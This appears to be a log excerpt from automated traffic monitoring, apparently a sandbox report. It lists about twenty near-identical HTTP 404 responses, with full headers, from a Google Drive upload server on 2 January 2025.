Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4QuUDVeaIscsRcEStUuANUyPcaFeT6grvcu8_EJlsc3WhbYYskfSRJe-AqfasN3GZyjU6vgwMContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:17 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-Y3pQZOTTcVmzq-MRCR0lMA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6wJAl1sUmWEHAJ-TW5-X5Nj2_LrXwhDmdbTPiwjQ-zaVs3tJm2Ht-x7bV9nERtj1PcContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:17 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-Lk-p2cSuSbgFIcw-UeKBwg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4_OUpdSWsl6MQFj8ClfE_p1fL63JiiQuEfqx_SsxGBkNrbxbu4JHJWIAe3ien_vH14Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:18 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-cOR6AMNJzj0X4IRj3PFS3g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4C0LZJ6pG5FSuBqKFlq8WNfo5Poufcp6T2luEDOl-epEAaTBWMbwEkLdbomNTuW0hbTC68J4wContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:19 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-w4GIs-zrZeboxboC7Cm2Wg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5QDKeoMXlgvNrg5At7vM3u49YT5_RJ_YQPfX_euJczpanFF5LxJPb6zFzU4o_s9k3JContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:21 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-u_wjRQLX7yl3Txg6FfWpsw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4ur5Px3Rb991VCwJ-170cUPeOywKKV1VnQAmAZj4w0XIKUuAjnGUnix1wHZ_JxlTtubmoqoJ0Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:21 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-sIw88HmRzrhKhKwaySigzw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7dcC2M52VjhRotyVWi9B_D1jv_aUbDq5D8LSbDzKQUAzmcyNHt0wfBiFkONUxsPZWLContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:22 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-x9nsJD24LtaAUsn1kj-ODw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4cBS3164a8x7G-oRKuNvQ3xiTULGwOSq7LF0p5KEP8axSU09ZWGPQvAsVLivccfBDGContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:22 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-2_1q7hw57ezOXmSgplIRJQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6QVoIHHULdtbIBn_ejOvcXDRWoiyaYVsdlScQsV4HV9YzDkp1-FRq2G-t_X64O3d2pContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:25 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-lFEKxHVEzsVJm_6-IL09_Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5H7oRyTf-wJpA0IzCwP1GpUzaWOYmAIg2ZwmlSw_e9cIu3_BCZfaFmW4pxd0XT51sCvszH7dQContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:25 GMTCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-3s5P_u9TIIEdQ_CSNbbilg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4ZenrjciHbcC4X4KRz_DGNNvOCtdyG6rik0eZ5zFQyt-1kQcMamXwidLdH8fHSmIr4Ft0dVckContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:26 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-3pfVp_l6sIxszxpHddhHzg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6f9f7YPLv1G2md-PzDBhLnXXYpoQwDipI8W9BrKntvovKmlaFtiRXn-B0C-6EpBQtOu25T_gUContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:26 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-INN3a3aRciyjU-FmbcCQMg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC64iuw1G3wCbV55dc-HJjb_LS9oLUN7K3lvCBze61nbRc3kFefAx-uv2P7i5P4h6Rl5Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:28 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-aGtLQfJJqneLIIZUNmsiPw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7ct_d0VZ9BilXRBVnaKr2_XASL8NHMSKuMLlQ4Mq1pBZltq-gBbLeZIosUqcavRki_dtGPlYEContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:29 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-nlG-y7Duaxk56dB0Q7z1VQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5LBh6Qq6uXzPLiEC9MvEHBJw13FWktY_reG2g7DC43vahOdtyL_dx7PtXHWVkAMfQCContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:30 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-fEiVkCFHG-TV-XHtnlyUpQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6dHpzQZEC6v7InKceuuvU8nKwb9RFL0iAtX2ZOwZ_QtCa2OeJRXIkxiCaJCE_NAjCB8ljybKkContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:30 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-aOrEGPAYPVFzuS4h-1hNSA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC46PL5r3DCKPddvdNbzFyqd-9R6t9sz5NYe6cuZOzR8Cis9s4s8xn-JTlOfCgPHfeeoContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:31 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-Lxa_5ahNe04Ec_Z_DvFGXg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC52PFluT2rJktjF11RmIhVrYOBY8r6KSnLKdL62mD4oeNPiEV4SqhM_j9Of_3raASHOYgjnBVIContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:33 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-z-lpnTGNToca2dHQo6I4FQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4WONVgtBfyENbfaAm1aq5faI9DysUefjoQS69hWnJjWyXiTJe3idhmzzSeS3MPDjVOy0FpLqQContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:33 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-zPtKgnih4wsJaTdoXA-i-w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7QGtAvblBRgLNhEwwXaEwJCtZczJbSsuASvr6DTuuM7HMdNBP1fhPbgZ20pibV2honstqfwCcContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:34 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-dcS-vioU6qsGgHXb4JKgWQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
